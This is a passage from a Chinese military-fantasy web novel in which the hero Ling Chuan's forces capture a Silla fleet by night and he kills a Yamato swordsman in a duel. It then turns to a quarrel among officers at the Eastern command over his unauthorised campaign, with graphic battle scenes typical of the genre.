营区方向,战斗仍在继续,但新罗水军明显已经支撑不住,满地尸骸在火把映照下显得格外狰狞,浓烈的血腥味几乎令人窒息。 舰首上的新罗将领面色铁青,抓住栏杆的双手青筋暴露,他万万没想到,在兵力占优的情况下,竟被这支周军打得毫无还手之力。 直到此时,他才真正意识到,眼前的周军与往日交手的那些守军根本不可同日而论,这些周军不仅装备精良,训练有素,更有着一种如狼似虎的无敌气势。 忽然,一个可怕的念头如闪电般划过他的脑海。 他猛然意识到,前往内陆劫掠的那几支队伍,恐怕已经凶多吉少,按照惯例,他们本该在日落前回营,至今不见踪影,偏偏周军选择在这个时刻劫营……这一切绝非巧合! 就在这时,一名士兵连滚带爬地冲上舰首,声音颤抖地禀报:“将军,不好了!大量周军从后方登船偷袭!” 这个消息如同最后一记重锤,彻底击碎了他心中仅存的侥幸。 第一卷 第556章 抢登战舰 “传令,撤回战舰……” 那名新罗将领在短暂的愣神后,面色陡然变得狰狞,眼神中满是慌乱之色,声嘶力竭地大喊道。 此时他已经顾不得那么多了,只能先将兵力收回,然后撤掉跳板死守,同时集中兵力将船上那些周军剿灭。 否则,一旦任由事态发展,后果将不堪设想,他的手指不自觉地颤抖着,显示出内心的焦灼。 战舰之上的传令兵听到将军的命令,连忙举起令旗,可他还来不及打出旗语,一支铁箭便如流星般飞射而来,‘噗’的一声直接将他的咽喉洞穿。 鲜血在空中划出一道刺目的弧线,那名新罗将领瞳孔猛然收缩,嘶声大吼:“撤退!” 而他自己却率先朝后退去,避免暴露在周军神射手的射程之下,他的动作仓皇而狼狈,完全失去了先前的得意与从容。 见新罗水军要撤退,凌川眼中寒光一闪,大喝一声:“敌人要跑,抢先登船!” 说完,他身形猛然蹿了出去,手中战刀横扫,洒出一大片凛冽的寒芒。 刀光过处,三名正欲登上跳板的新罗士兵应声倒地,头颅滚落在甲板上,鲜血如泉涌般喷溅。 凌川对此视若无睹,只见他在跳板上借力一点,身体如大鹏般一跃而起,随即一把抓住船沿,轻灵地掠至甲板之上。 那名新罗将领正准备退回指挥舰,忽然感觉一股凌厉杀气自身后席卷而来,他猛然转身,只见身着银甲的凌川不知何时竟然出现在了舰头甲板之上。 月光洒在凌川的铠甲上,映出一层冷冽的光晕,宛如战神临世。 “杀了他!”这名新罗将领声嘶力竭地大喝,声音中带着难以掩饰的惊恐。 十多名身着铁甲的侍卫应声朝着凌川扑去,凌川眼神冰冷如霜,大步上前,抬手便是一刀斩出。刀光如月华,将迎面冲上来的那名新罗士兵拦腰斩断,鲜血和内脏顿时洒了一地。 紧接着,他又是一刀劈出,第二名新罗士兵慌忙架起战刀抵挡。 然而在双方战刀接触的瞬间,那名新罗士兵手中的战刀应声崩断,凌川手中的淡金色战刀去势不减,在斩断对方的战刀后,轻松破开铁甲,最后自那名敌人的右肩斜斩而下,将其身体劈成两半。 鲜血如暴雨般喷涌而出,内脏洒落一地,场面血腥得令人作呕。这一刀不仅展现了战刀的锋利,更彰显了凌川如今的恐怖修为,在真气的加持下,这一刀的威力陡增了十倍不止。 这一幕彻底震慑住了剩余的新罗士兵,他们不由自主地后退了一步,眼中满是恐惧。 可凌川根本不给他们思考的机会,宛如浴血杀神,再次提刀杀上前去,他的每一步都踏在血泊中,溅起朵朵血花,气势惊人。 与此同时,心系凌川安危的亲兵们也快速冲了上来,领头之人竟是张破虏。 他浑身浴血,魁梧的身躯在月光下投下一道巨大的阴影,手中战戟的戟刃上还挂着碎肉,令人头皮发麻。 见到这一幕,饶是凌川都有些震惊,安国公曾坦言这孩子的功夫马马虎虎,没想到所谓的‘马马虎虎’竟是如此惊人。 “去死!”张破虏一声惊雷般的暴喝,手中战戟横扫,直接将一名新罗士兵拍飞出去,随后他连杀数人,几乎都是一击毙命,战戟所过之处,无人能挡。 “将军,我来助你!”张破虏高声喝道,声音如战鼓擂动。 “别管我,别让敌将跑了!”凌川大喝道,手中战刀不停,又斩翻两名敌军。 张破虏这才止步,转身朝着那名新罗将领扑去。 那名新罗将领此时早已吓破了胆,根本顾不得其它,一心只想着逃回指挥舰,他的步伐踉跄,神情慌乱,完全失去了将领应有的气度。 “贼将哪里走!”张破虏一脚将地上的一具尸体踢飞出去,重重砸在那名新罗将领的后背。 那新罗将领当场被砸得一个趔趄,他深知这少年的恐怖,不敢与之硬碰,爬起来就要继续逃跑。 然而张破虏已经扑了上来,手中大戟重重拍在其后背。 “砰……”一声闷响,那新罗将领当场喷出一大口鲜血,后背的铠甲直接碎了一片,身体更是被拍得趴在地上,无法起身。他痛苦地呻吟着,眼中满是绝望。 后方甲板上,大牛与聂星寒等一众亲兵也冲了上来,迅速解决了残存的抵抗。 聂星寒第一时间爬上桅杆,占领制高点,他目光如鹰隼般扫视着整个战场,手中弓箭随时准备射出致命一击。 随即,凌川径直朝着指挥舰奔去,寇悔则是带着一众亲兵紧随其后。 这些战舰排列有序,彼此间用一块块跳板连接,指挥舰位于舰队的中心区域,海风呼啸,战旗猎猎,整个舰队仿佛一头沉睡的巨兽,正在缓缓苏醒。 与此同时,苍蝇、沈珏与洛青云等人也开始抢占战舰。 他们的首要目标是八艘主力战舰,虽然赵永年与孙孝文已经带人前去占领,但他们毕竟是轻装上阵,加之主力战舰之上肯定是守卫森严,他们得尽快赶过去支援。 事实也正如凌川所料的那般,此时赵永年与孙孝文所带领的棣州水军虽然攻上了八艘主力舰,但却遭到了疯狂抵抗。 箭矢如雨点般射来,刀剑相交的火花在夜色中格外醒目,一时间,双方僵持不下,喊杀声震天。 “棣州军的兄弟们闪开,让我们来!”洛青云大喝一声,手持一杆长槊,率先杀上前去,他的身影在火光中显得格外矫健。 “嗤嗤嗤……”长槊横扫,锋利的槊锋将几名新罗水军的咽喉划开,鲜血顿时喷涌而出。 紧接着,身后的死字营成员趁机压上去,直接将其防御撕开。 这一幕让棣州水军为之一惊,素闻凌川麾下兵悍将猛,今日一见,果真不是浪得虚名。 随着他们这四支队伍登上战舰,战场也由陆上营地转移到了战舰之上,喊杀声此起彼伏,兵器碰撞声不绝于耳,战舰在波涛中轻轻摇晃,更添几分凶险。 第一卷 第557章 月夜鏖战 四支队伍所向披靡,尽管他们对环境不熟,但一路横推几乎无人可挡。 这除了归结于他们恐怖的战斗力之外,铠甲的防御也占了很大因素,帮他们挡住了不少致命偷袭,五行锥阵的威力更是发挥到了极致。 但这毕竟是新罗水军的主场,在这里,他们占据地利之势,战斗力提升了很大一截。 而且,他们心里都清楚,一旦战舰失守,他们将全军覆没,因此每个人都在拼死抵抗,战况异常惨烈。 新罗水军一边抵抗攻上来的周军,一边下令水手起航。奈何他们的人根本上不了甲板,没办法挂起船帆,那就只能靠人力划动,起航的难度大大增加。 加之舰队彼此相连停靠,得先解除连接,这同样是一个不小的难题,整个场面混乱不堪,处处都是厮杀的身影。 凌川见外围的船只开始缓缓移动,心中暗自焦急起来,因为他很清楚,若是让对方起航,己方队伍将会瞬间被拆散,形势将变得岌岌可危。 海风卷着血腥味扑面而来,他的眼神越发凌厉。 “亲兵随我来!”凌川大吼一声,率先朝着指挥舰袭去,他的声音在喧嚣的战场上依然清晰可辨。 后方,张破虏与寇悔等一众亲兵迅速跟上,每个人的脸上都写满了决然,明知前方凶险重重,却无一人但却,只有决然的杀意。 而就在此时,岸边传来急促的马蹄声,只见大批身影快速奔来,见到这一幕,新罗水军一个个脸上写满了激动,他们知道,是去往内陆劫掠物资的同伴们赶回来了。 很多人大声呼喊求救,声音中带着劫后余生的喜悦和期待。 然而,当那支队伍靠近之后,那些新罗水军脸上的激动瞬间凝固,取而代之的是深深的绝望。 只见那支突然出现的骑兵队伍清一色玄黑铠甲,在惨淡的月光下泛着冷冽的寒光。 奔腾的马蹄声如雷鸣般震撼大地,手中制式战刀在月光下闪烁着令人胆寒的光芒,仅从阵型也气势便可以断定,这绝不是新罗派出去劫掠的那几支队伍,而是大周最精锐的骑兵。 领头之人身形魁梧、目光冷峻,只见翻身下马,手持一把七尺长的沉重陌刀,身在月色下划出一道银弧。 “随我杀敌!”他声如洪钟,浑厚的嗓音在夜空中回荡,率先冲向战舰。 来人正是蓝少堂,他率领的禁军虽然只是第一支赶到的援军,但这两千精锐个个都是从百万军中挑选出来的好手,足以让战斗的天平发生倾斜。 “杀!”两千禁军齐声怒吼,声浪震天,如潮水般涌上战舰。 他们训练有素,登船时步伐稳健有序,丝毫不乱,刀锋所向,新罗水军的防线接连崩溃,惨叫声此起彼伏。 随着禁军的加入,八艘主力舰的防御相继被攻破,甲板上顿时陷入一片混战。 凌川此时已杀到指挥舰前,这里的抵抗异常顽强,新罗士兵组成严密的防御阵型,厚重的盾牌在月光下连成一道铜墙铁壁。 盾牌后方,强劲的弓弩不断射出密集箭雨,破空之声不绝于耳,压得禁军难以靠近。 张破虏握紧战戟就要往前冲,凌川眼疾手快,一把拉住他的臂甲:“我来!” 话音未落,凌川已如离弦之箭般持刀冲出,漫天箭雨迎面而来,在月光下织成一张死亡之网,他却并不格挡,而是凝神静气,运转体内真气。 霎时间,那些疾射的箭矢在他眼里仿佛陷入泥沼,速度骤减,在空气中划出缓慢的轨迹。 凌川身形如电,在箭雨中灵巧穿梭,衣袂翻飞间已杀到弓箭手阵前,刀光如匹练般闪过,数名弓箭手应声倒地,鲜血溅在甲板上。 “杀!”大牛怒吼一声,率先冲了出去。 张破虏紧随其后,如猛虎出闸,手中战戟带起一片腥风。 “小心!”凌川的惊呼声突然响起,语气中带着罕见的急促。 二人定睛一看,甲板上赫然架着一台巨型床弩,三支长枪般的弩箭正破空而来,带着撕裂空气的尖啸声。 张破虏急忙举戟格挡,只听‘铛’的一声巨响,他虽将来箭荡开,他却被震得连退数步,虎口迸裂,鲜血顺着戟杆流淌。 处在跳板上的大牛无处可避,危急关头他暴喝一声,将之前抢来的盾牌奋力掷出。 “砰……” 盾牌当场炸开,木屑四溅,好在那支弩箭也被撞偏了方向,擦着他的肩甲呼啸而过。 但第三支弩箭却精准地洞穿了一名亲兵的身体,将他死死钉在甲板上,那名亲兵双目圆睁,鲜血从口中涌出,很快就没了声息。 “莽娃!”大牛目眦欲裂,发疯般向前冲去,粗壮的手臂青筋暴起。 “冲上去!”寇悔顾不得同袍惨死,率领亲兵跨上跳板,直扑战舰甲板。 凌川闪身来到床弩前,手起刀落将床弩手斩杀,但,他并未毁掉床弩,这东西一看就是对方从周军手中夺来的,毕竟,以新罗这种效果的技术,根本造不出来,自己留着有用。 随着亲兵们涌上指挥舰,敌军防御终于土崩瓦解,甲板上到处都是倒伏的尸体,鲜血汇聚成一条条细流,缓缓渗入木板缝隙。 凌川将甲板上的战斗交给亲兵,自己则快步冲向船舱,张破虏紧随其后。 船舱内昏暗异常,只有几盏油灯摇曳着微弱的光芒,在墙壁上投下晃动的阴影。 空气中弥漫着血腥与海水的咸腥,一张矮几上煮着的茶还在咕嘟作响,蒸腾的热气在昏黄的灯光下缓缓上升,与周围的杀气形成鲜明对比。 然而,凌川却在这里感受到了一股危险的气息。 忽然,一道寒芒撕裂黑暗,从侧面袭来,只见一把倭刀悄无声息地出现,裹挟着无尽杀机,一斩而下,它的目标并非凌川,而是张破虏。 这一刀出现得太快,也太突然,张破虏虽然身手不弱,且一直在禁军之中历练,但归根结底终究只是个新兵蛋子。 加之刚才的连番激战,早已让他的神经麻木,以至于,这一刀已经靠近都没有察觉,亦或者说,他有所察觉,却来不及做出反应。 “小心!”凌川惊呼声中,战刀已然迎上,刀锋相撞的瞬间迸射出耀眼的火花。 第一卷 第558章 力战小宗师 “当!” 金铁交鸣震彻船舱,余音在狭小的空间内回荡。 黑影翻身落地,正是个梳着月代头的大和武士,他阴冷的眼神在昏暗中闪烁着毒蛇般的光芒,手中倭刀以一个诡异的角度斜指着地面。 “竟然是倭奴!”张破虏又惊又怒,声音因愤怒而微微发抖。 大和武士出现在这里,凌川并不感到意外,毕竟,无论是新罗还是百济,之所以敢对大周出兵,就是仗着有大和撑腰。 大和武士出现在这里,可能更多是为了督战。 这时寇悔带着亲兵小队冲进船舱,众人正要围攻那名大和武士,却被凌川抬手制止。 “你们去底舱,控制水手和舵手,这里交给我!”他的目光始终没有离开那个武士,眼神凝重。 寇悔毫不迟疑地带人转向底舱,张破虏却倔强地站在原地,带血的手掌紧紧抓住战戟:“我要留下来帮将军!” 寇悔冷冷瞪了他一眼,喝道:“你现在是亲兵队的一员,服从命令是你的第一职责!” 张破虏目光闪烁,脑海中回荡着爷爷临行前的交代,还有昨日三叔的嘱咐,都是让他听从凌将军的命令。 他冷哼一声,但还是收起任性,提着战戟跟随寇悔朝底舱而去。 “我知道你不服,但我告诉你,你留下来非但帮不了将军,反而会让他分心!”寇悔说完不再理会张破虏,直接冲进底舱。 见众人直奔底舱而去,大和武士眼中闪过焦躁,脚下猛然发力,木质地板当场碎开。 紧接着,只见那大和武士身形一跃而起,双手举起倭刀再次劈向凌川,这一刀凌厉非常,刀风呼啸间仿佛要将空气撕开。 凌川不敢有丝毫大意,因为,对方乃是一名七重境的小宗师。 而且,此人的刀法诡谲刁钻,若非凌川有‘洞悉本质、料敌先机’的本事,根本招架不住他那飘忽不定的刀法。 一番激烈交锋,船舱内火星四溅,凌川渐感手臂酸麻,体内真气翻涌不止,每一次兵刃相交都震得他虎口发麻。 “你是何人?”武士用生硬的中原话问道,语气中带着诧异,“竟能与我交手数十招而不落下风!” “大周东征先锋将军,凌川!”凌川沉声应答,目光如炬,汗水顺着额角滑落。 “凌川?”武士眉头紧皱,刀上杀意更为凌厉了几分,“镇北侯凌川?” “不错!” 确认身份后,武士眼中杀机暴涨:“那你更得死了!”他的声音陡然变得尖锐,杀气弥漫在整个船舱。 凌川嘴角勾起一抹冰冷的弧度,语气中带着几分讥诮:“海上风大,别闪了舌头!” “送你上路!”大和武士怒喝一声,整个人如离弦之箭般爆射而出,手中武士刀划出一道诡异的弧线,直取凌川咽喉。 这一刀快若闪电,刀风凌厉,彰显出他七重境小宗师的深厚修为。 凌川身形微侧,轻松避开这致命一刀,紧接着他手腕一抖,一记回风拂柳使出,战刀如灵蛇般直取对方后颈。 中年武士顿时一惊,急忙刀锋一转,竖于身后,稳稳挡下了这突如其来的一刀,这一招与中原枪术中的苏秦背剑颇有相似之处,但在细微处又带着明显的大和武技特征。 毕竟,大和文化皆是来自中原,武功招式亦如此,哪怕经历了数百年演变,依旧未能跳出本源,自成一脉。 大和武士猛然转身,正欲反击,却见一点寒芒在瞳孔中骤然放大,他心头一凛,急忙抬刀横挡。 “铛!” 一串火星在船舱中炸开,照亮了两人凝重的面容,两人的身形一触即分,随即又如两头猛虎般扑向对方。 凌川见招拆招,将对方施展的各种杀招逐一化解。 大和武士越战越惊,他实在难以相信,一个不满二十岁的少年竟有如此实力,更让他心惊的是,凌川的战斗经验老辣得不像话,每每都能预判他的出招路线。 凌川一记铁桥拦江稳稳架住对方劈来的一刀,紧接着又是一记秋风扫叶将其逼退数步。 抢回先机后,他更是得势不饶人,白蛇吐信、叶底藏花、凤凰点头等精妙招式接踵而至。 最后更是一跃而起,施展出力劈华山,浑厚的真气灌注刀身,将男子逼得连退数步。 大和武士满脸震惊,双臂不受控制地颤抖着。 他低头看向手中的武士刀,只见刀刃上布满了锯齿状的豁口,在灯光下显得格外刺目。 虽然勉强挡下了凌川的连番进攻,但,自己堂堂七重境小宗师,却久久无法拿下这个少年,甚至都未能占据上风,这对他而言简直是奇耻大辱。 就在此时,凌川猛然一步踏出,浑身真气如沸水般翻滚,尽数汇聚于手中战刀之上,船舱内的空气仿佛凝固了,连油灯的火苗都停滞了一瞬。 随着他一刀刺出,刀身上的真气轰然炸开,两人之间那片虚空迅速扭曲,一道道真气凝聚成凌厉的剑芒,泛起冰冷的寒光。 这些剑芒与凌川手中的战刀保持着一致的轨迹,如同暴雨般直奔大和武士而去。 剑芒划破空气,发出刺耳的尖啸,整个船舱仿佛都被这凌厉的剑气填满。 顷刻之间,风云骤变,数十道剑芒所过之处,虚空中留下道道细密的划痕,连木质地板都被余波割裂。 这一招,正是上一次孤冥在皇宫施展出的千劫剑雨,此刻被凌川完美复刻了出来。 那名大和武士瞳孔猛然收缩,眼神中写满了震惊与不可思议。 他急忙双手举刀,浑身真气逆流而上,通过双臂涌向手中的武士刀,随着他一声暴喝,凌空斩下一道丈余长的巨大刀芒。 刀芒所过之处,凌川凝聚出的剑气接连炸开,发出震耳欲聋的爆响,那道刀芒去势不减,直奔凌川头顶而来。 “轰隆!” 一连串的爆响过后,整个船舱变得一片狼藉。 数十道剑芒炸开的余波将地板和周围的桌椅绞得粉碎,木屑纷飞如雨,中年武士双肩淌血,身体连连后退,每一步都在地板上留下一个深深的脚印。 第一卷 第559章 险胜 凌川同样狼狈不堪,他连退数步,直到后背重重撞上一根柱子才勉强停下。 “噗……” 他当场喷出一口鲜血,在昏黄的灯光下显得格外刺目。 凌川脸色惨白如纸,但依然紧握着手中的战刀,他双目如利剑般死死盯着对方,眼神中燃烧着不屈的战意。 刚才若非他最后时刻横刀抵挡,对方那刚猛霸道的一刀,足以要了他的性命。 “不可能……”大和武士的声音带着难以置信的颤抖。 “你,你怎么会剑圣的千劫剑雨?”他的目光在凌川身上来回扫视,试图找出答案。 忽然,他像是看出了什么端倪,微微摇头自语:“不对,这不是千劫剑雨,但为何如此神似?” 凌川带血的嘴角勾起一抹冷笑:“雕虫小技而已,又不是什么高深的东西,看一遍就会了!”他的语气轻描淡写,仿佛在说一件微不足道的小事。 听闻此言,大和武士眼中闪过一抹精光:“你把孤冥怎么了?”他的声音中带着压抑的怒意。 “也没怎么,只是废掉了他的修为而已!”凌川泰然自若地抹去嘴角的血迹。 大和武士死死盯着凌川,试图从对方的表情中分辨这句话的真假。 但,无论如何他绝不相信,有人仅仅只看一遍就能学会千叶剑圣的独门绝学,但方才那凌厉的剑雨,却又与他当初亲眼所见的千劫剑雨如此相似,这让他心中充满了困惑与震惊。 “你这一招无论是气势还是威力,都与千劫剑雨极为相似,但我敢肯定,这并不是剑圣所创的千劫剑雨!你肯定是偷学的!”中年武士的双眼死死盯着凌川,仿佛要从这个年轻人身上找出隐藏的秘密。 凌川嗤笑一声,嘴角扬起一抹讥诮的弧度:“素来都是你们学我中原的东西。至于你们奉为宝典的那些武功招式,在我看来也就那么回事!”他的声音带着不容置疑的自信,“我泱泱大国,根本不屑偷学你们那三瓜俩枣!” “哼!狂妄!”中年男子怒声喝道,握刀的指节因用力而发白。 凌川目光一凛,缓缓抬起手中战刀:“既然你不信,那我就让你死个明白!” 随着他话音落下,体内真气如决堤的江河般涌向战刀。 霎时间,刀身之上真气翻滚,迸发出刺目的寒芒,将昏暗的船舱照得如同白昼。凌川一步踏出,脚下的木板当场碎开,只见他双手举刀,对着中年武士迎面斩下。 “斩!” 澎湃的真气凝聚成一道丈余长的刀芒,宛如一柄开天巨刃,带着摧枯拉朽之势朝中年男子斩落。 刀芒所过之处,空气都被撕裂,发出尖锐的呼啸。 后者双目圆瞪,眼神中写满了不可思议。 他一眼就认出,这正是自己引以为傲的成名绝技‘天罡一刀斩’。 这一招他苦修二十余载才悟出的绝技,从未外传,可眼前这个年轻人竟然仅凭刚才看了一眼,就当着他的面施展出来。 这种颠覆性的冲击,让他的心神出现了刹那的恍惚。 就在这电光火石间,他敏锐地察觉到,这一刀虽然在真气调动和刀芒凝聚上与自己那一招如出一辙,但在气势和真义上却存在着微妙的差异。 这说明,眼前这个年轻人真的只是从刚才那一招中临摹出来的形,却未能完全领悟其中的真义,然而即便如此,也足以让他震惊得无以复加。 他不知道的是,就在他施展这一刀的时候,凌川的神念已经将他死死锁定,那一招的每一个细节,都被凌川纳入‘天宫识海’中反复拆解重组,最终按照自己的理解施展出来。 眼看那丈余长的刀芒已经来到头顶,中年武士猛然惊醒,急忙运转全部真气横刀抵挡。 “铛……” 震耳欲聋的巨响在船舱内回荡,中年武士连连后退,每一步都在地板上留下深深的裂痕。 他简直难以想象,对方模仿自己的一击竟有如此恐怖的威力,更震惊于凌川真气之雄浑,这种种一切,都不应该出现在一个年轻人的身上。 “嗤……” 一声轻响传来,中年武士只觉胸口一痛。 他难以置信地低头,只见凌川不知何时已经来到面前,手中战刀已然贯穿了他的胸膛。 “你……你怎么可能……”他的声音因剧痛而颤抖,眼神中满是不甘与惊惧,鲜血不受控制地从口中涌出。 随着凌川拔刀后退,他仿佛被抽干了所有力气,身体缓缓仰面倒下,眼中的光芒渐渐暗淡。 解决掉对手,凌川也长出了一口气。 他杵着战刀,找了一张相对完好的凳子坐下,大口喘息着。 这一战他虽然胜了,却胜得极为艰难,最后一击更是带着出其不意的成分,若非对方心神失守,胜负尚未可知。 此时凌川体内的真气几乎消耗殆尽,四肢百骸传来阵阵虚脱感,坐在原地难以动弹。 伴随着一阵急促的脚步声,浑身是血的沈珏带着一队亲兵赶了过来,他的铠甲上布满刀痕,脸上带着尚未散尽的杀气。 “将军!”沈珏快步来到凌川跟前,声音中透着真切的担忧。 凌川无力地摆了摆手:“我没事!只是真气消耗严重,有些脱力!” 随即深吸一口气,强撑着问道:“外面情况怎么样了?” “局面基本已经控制下来了,正在清剿漏网之鱼!”沈珏回禀道,目光仍关切地打量着凌川的状况。 听到这里,凌川微微松了一口气,又问道:“兄弟们伤亡如何?” “目前还在统计中,不过从战场来看,伤亡不大!” 这一点,凌川倒也不意外。 新罗水师的综合实力本就不强,唯有在战舰上厮杀时,他们才能利用环境优势给己方带来一定威胁,但随着蓝少堂的禁军赶到,基本上就成了一面倒的碾压之势。 而自己这边,无论是亲兵队还是洛青云率领的死字营,都是身经百战的精锐,蓝少堂率领的禁军更是毋庸置疑。 真正让凌川感到担忧的是那两千棣州军,毕竟他们之中很大一部分都轻装潜入,自身防御大大降低。 第一卷 第560章 东疆主帅,林远图 半个时辰之后,战斗彻底结束。 新罗水军除了四五百人被俘,其余的全部被斩杀,整片海湾都充斥着浓烈的血腥味,海面上漂浮着无数尸体,在月光下显得格外惨烈。 对于这几百俘虏,凌川之所以留着,并非是发善心,而是需要他们充当苦力,负责操纵战舰。 否则,以他亲眼目睹登州、莱州沿途的惨状后的愤怒,这些畜生断然没有活命的可能。 昨日赶路途中,凌川亲眼见证了新罗水军造成的灾难。 这一路近两百里路程,竟然看不到一个百姓,所有村庄都形同鬼村。不仅见不到活人,连牲畜都销声匿迹。 有的村庄被举族屠杀,有的被付之一炬,化为焦土。 那一幕幕惨状,让所有士兵心中都憋着一团怒火,最终在这场战斗中尽情宣泄。 待恢复了一些真气后,凌川起身来到指挥舰的甲板之上,此时战斗已经彻底结束,新罗水军的尸体被尽数抛入海中,任由鱼虾啃食。 士兵们正在清点伤员,以及清洗战舰上的斑斑血迹,海风掠过,带着咸腥与血腥的混合气味,令人作呕。 很快,一众将领被召集到这里,一一向凌川禀报战况。 当得知就连棣州水军也只有不足百人阵亡时,凌川终于放下心来,若是伤亡过大,他回头还真不知该如何向廖沧横交代。 凌川环视众将,沉声问道:“舰队上的水手舵手呢?情况如何?” 赵永年上前一步回禀:“一开始确实不配合,咱们宰了几个刺头,也就都老实了!”他的语气中带着未散的杀气。 凌川目光冷峻:“这些家伙就是养不熟的白眼狼,他们现在是怕了,可一旦咱们放松警惕,随时可能反咬一口。所以,得一直派人盯着,只要发现苗头不对,直接杀!” 在见识过莱州、登州的惨状后,无论是凌川还是下面的士兵,斩杀这些新罗人都没有任何心理负担。 蓝少堂拱手道:“将军放心,每艘战舰上,我都安排了人手。而且,我给他们下达了连坐命令,只要发现有人试图反抗或逃脱,全船皆斩!” 凌川点了点头,对这个做法表示赞同。 人性都是自私的,特别是在生死面前。一旦有人试图反抗,其他人为了保命,便会群起而攻之,再不济也会向周军检举,这种连坐制度,在很大程度上能够起到震慑作用。 月光下,他的眼神冷冽如刀,扫过停泊在海湾中的战舰群,开始布置下一步的行动。 凌川下令蓝少堂组织人手将战马一一安置到底舱。 同时,让赵永年和孙孝文负责监视所有船工和水手,苍蝇则是分派人手看守那些俘虏,特别是高层将领,尽量审处一些有用的情报。 清晨,朝霞洒落在这片暗红色海湾,仿佛整片海面都被点燃一般,刺得人睁不开眼。 海风渐起,战舰的帆缆在风中嗡嗡作响,随着船帆缓缓升起,这支刚刚经历血战的舰队开始驶离这片弥漫着血腥味的海湾。 起航之后,凌川安排将士们轮流休整。 甲板上,不少来自北方的亲兵队和死字营士兵扶着船舷,既带着初次出海的新奇,又难掩对茫茫大海的忧虑。 海浪拍打着船身,发出有节奏的声响,与士兵们低沉的交谈声交织在一起。 凌川站在指挥舰的船头,海风拂动他的衣袂。 他转向身旁的苍蝇,眉宇间带着化不开的忧色:“可有卑沙城那边的消息?” 苍蝇摇了摇头,声音低沉:“咱们从棣州出发后,便再没接到那边的消息。”他顿了顿,补充道,“不过从之前的情报分析,百济的先锋军前日应该就已经抵达卑沙城下了!” 凌川的目光投向远方的海平面,眼神中写满了担忧:“只希望雁翎骑能够及时赶到,不然,卑沙城危矣!” 尽管他坚信,就算卑沙城丢了,雁翎骑和玄甲营也能将其夺回来,但他更清楚,那样势必会付出不小的代价。 青州节度府内,气氛同样凝重。 东疆主帅林远图端坐于主位之上,面色阴沉地盯着桌上那封从棣州送来的快报,眼底的怒火若隐若现。 “大将军!”一名身着青色长衫的文士率先开口,“这凌川仗着陛下恩宠,竟擅自出兵,如此目中无人,这是全然没将您这个东疆主帅放在眼里啊!” 他的手指轻轻敲击着椅子扶手,眼角的余光更是不失打量着林远图的神色变化。 紧接着,一名武将猛地站起身来,铠甲铿锵作响:“大将军,我觉得蒋先生所言在理!凌川不顾大局、擅自行动,就该军规处置!就算他是陛下钦封的镇北侯又如何?”他语气中带着毫不掩饰的愤慨。 那文士捋了捋胡须,继续说道:“太祖皇帝有言,军中闻将军令,不闻天子之诏!无论是打下大周江山的太祖皇帝,还是一统中原的太宗皇帝,都曾御驾亲征,可即便他们到了军中,也得遵从主帅号令。” 他顿了顿,目光在正堂中环顾一周,继续说道:“凌川纵然是陛下钦封的镇北侯,但也是此次东征先锋将军,理应听从大将军号令,如此目无军纪,与犯上作乱何异?” 正堂内的气氛顿时沸腾起来,文臣武将你一言我一语,对凌川展开口诛笔伐。 起初还只是抨击他擅自行动,渐渐地,言辞越来越激烈,甚至开始人身攻击。有人质疑他德不配位,有人嘲讽他是‘时无英雄使竖子成名’,更有人将矛头指向他的妻子苏璃,以反贼苏定方为切入点,来攻击凌川。 就在这一片喧嚣中,一个身影缓缓走到堂中。 那人身形不算高大,走起路来一瘸一拐,但每一步都踏得沉稳有力。 “大将军!凌川之所以没有请示节度府,定有他的原因,末将觉得眼下应当以大局为重,一致对外。至于其他,战后再追究不迟!”他的声音平静却清晰。 堂内顿时安静下来,所有人的目光都聚焦在这个瘸腿的将领身上。 第一卷 第561章 卫瘸子,毕疯子 “卫瘸子,你什么意思?”一名将领猛地起身,怒目而视,“这么帮着姓凌的说话,是不是忘了谁才是这东疆主帅?” 这瘸腿将领正是卫澜,东疆水师的老将,是上一任主帅张泊远的五位义子之一,更是当年名震东疆的‘东海六蛟’之一,排名第四。 十年前那场血战,东海六蛟折了三位,他虽然侥幸生还,但却伤了右腿,曾经那个纵横东海的猛将,成了人们口中的卫瘸子。 而起身质问他的人乃是青州主将彭辽,是林远图接掌东疆水师之后,提拔起来的亲信。 面对质问,卫澜神色不变,不卑不亢地回应:“卫某不过是就事论事,眼下外敌虎视眈眈,彭将军却一心想着对付自己人,你有这份闲心,还不如想想怎么对付大和水军!” 卫澜声音不大,但这番话像一把利刃,直刺彭辽的心口。 被卫澜当众戳中痛处,彭辽时勃然大怒:“你……卫瘸子,你什么意思?有种咱俩单独练练?” 卫澜淡淡扫了他一眼,嘴角泛起一丝冷笑:“卫某没有那份闲心,也没有窝里斗的习惯!” 见彭辽被怼得哑口无言,另外两名将领也站起身来。 其中一人阴阳怪气地说:“卫将军,凌川目中无人,大家有目共睹。你这么帮着他说话,莫不是与他有什么见不得人的勾当?” 另一人更是咄咄逼人:“凌川到了东疆,不先到节度府来面见主帅,却擅自出击,如此贪功冒进之举,要是出了什么差错,他担得起责吗?最终还不是要大将军来替他收场?” 卫澜的眼神骤然转冷,他认得这两人正是丢城失地的登州主将邓安平和莱州主将高良钧。 他嘴角浮现出一抹讥诮的冷笑:“你们一个登州主将,一个莱州主将,连自己的驻地都守不住,治下百姓流离失所。现如今,有人替你们打,你们却在背后落井下石,真是可笑!” 这番话像一记响亮的耳光,打得两人面色铁青。 邓安平猛地一拍扶手:“卫澜,你放肆!” 高良钧更是杀气腾腾:“你仗着自己是东疆老人便如此口不择言,看来今日非得给你点教训不可!” 两人摩拳擦掌,全然不顾场合,作势就要上前。 就在这剑拔弩张之际,门外传来一个懒洋洋的声音:“这是要教训谁啊?” 听到这个声音,邓安平与高良钧同时打了个寒颤。 众人循声望去,只见一名三十多岁的男子慢悠悠地踱步进来,他身着常服,神态慵懒,怎么看都不像个军中将领。 但,放眼整个东疆,听到毕疯子的名字而不犯怵的人屈指可数。 毕潮生,同样是上任主帅张泊远的五位义子之一,他在东海六蛟中年龄最小,但却是实力最强,手段最狠辣的一个。 他依旧是那副吊儿郎当是姿态,可那双毒蛇一般的眼神却死死盯着邓安平与高良钧,二人只感觉脊背生寒,僵在原地无法动弹。 “刚刚,你俩说……要教训我四哥?”毕潮生声音慵懒,更是毫不避讳地称卫澜为四哥。 二人杵在原地,宛如吃了死耗子一般难受,脸色一阵红一阵白,却一个字也说不出来。 只见毕潮生缓步走到二人跟前,说道:“要不,你们再多交几个人吧,免得我还没尽兴就结束了!” 面对毕潮生如此狂妄的姿态,满场官员却是敢怒不敢言,并非单纯忌惮毕潮生,更是忌惮他手下那支号称东海水师第一精锐的军团。 如果说玄影骑是北系军无可争议的第一军团,那么鲲龙卫便是东疆水师当之无愧的第一精锐。 